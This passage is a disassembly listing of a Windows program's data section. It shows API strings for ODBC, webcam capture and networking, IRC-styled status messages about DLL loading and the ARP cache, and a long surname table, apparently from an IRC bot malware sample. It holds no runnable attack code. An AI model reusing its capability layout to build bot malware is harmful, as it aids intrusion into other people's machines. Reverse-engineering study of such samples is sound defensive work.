db 'SHChangeNotify',0 ; DATA XREF: sub_409E0C+B97o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409E0C:loc_40A9D8o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409E0C+BD9o align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409E0C+BE1o align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409E0C+BEEo align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409E0C+BFBo align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409E0C+C08o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409E0C+C15o align 4 aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409E0C:loc_40AA76o align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409E0C+C77o aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409E0C+C7Fo align 4 ; char aKernel32_dllFa[] aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+28o align 4 ; char aUser32_dllFail[] aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+5Co ; char aAdvapi32_dllFa[] aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+90o align 4 ; char aGdi32_dllFaile[] aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+C4o align 4 ; char aWs2_32_dllFail[] aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+F8o ; char aWininet_dllFai[] aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+12Co align 4 ; char aIcmp_dllFailed[] aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+160o align 10h ; char aNetapi32_dllFa[] aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+194o align 4 ; char aDnsapi_dllFail[] aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+1C8o ; char aIphlpapi_dllFa[] aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+1FCo align 10h ; char aMpr32_dllFaile[] aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+230o align 4 ; char aShell32_dllFai[] aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+264o align 4 ; char aOdbc32_dllFail[] aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+298o ; char aAvicap32_dllFa[] aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40AAC8+2CCo align 4 ; char asc_445258[] asc_445258 db '-' ; DATA XREF: sub_40AAC8+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 a__9: ; DATA XREF: .text:0040AE28o unicode 0, <.>,0 a__10: ; DATA XREF: .text:0040AE40o unicode 0, <.>,0 unk_445280 db 2Dh ; - ; DATA XREF: sub_40AEC5+8Co db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 ; char asc_4452AC[] asc_4452AC db '-' ; DATA XREF: sub_40AEC5:loc_40AF58o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_4452DC db 2Dh ; - ; DATA XREF: sub_40AEC5:loc_40AF1Eo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 10h unk_445300 db 2Dh ; - ; DATA XREF: sub_40AEC5:loc_40AF8Ao db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 10h ; char asc_445330[] asc_445330 db '-' ; DATA XREF: sub_40AEC5+43o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGetting_0 db 'error getting ARP cache: %d',0 ; DATA XREF: .data:00455AF8o ; .data:00455EB4o ; char aD_D_D_D[] aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AFA9+46o aReal db 'real',0 align 10h dd 0 dword_445374 dd 0 ; DATA XREF: sub_40B487+7o off_445378 dd offset sub_40B0A2 ; DATA XREF: sub_40B487+49r aConst db 'const',0 align 8 dd 1 dd offset sub_40B10F aLetter db 'letter',0 align 4 dd 0 dd 2 dd offset sub_40B16D aComp db 'comp',0 align 10h dd 3 dd offset sub_40B1BA aCountry db 'country',0 dd 0 dd 4 dd offset sub_40B260 dd 736Fh, 2 dup(0) dd 5 dd offset sub_40B2D5 off_4453E0 dd offset aAbdulrazak ; DATA XREF: sub_40B0A2+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_4453EC dd offset aAddison ; DATA XREF: sub_40B487+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer_0 ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" off_445750 dd offset aCiampaglia ; DATA XREF: .data:off_44B5D8o ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton_0 ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine_0 ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch_0 ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay_0 ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" 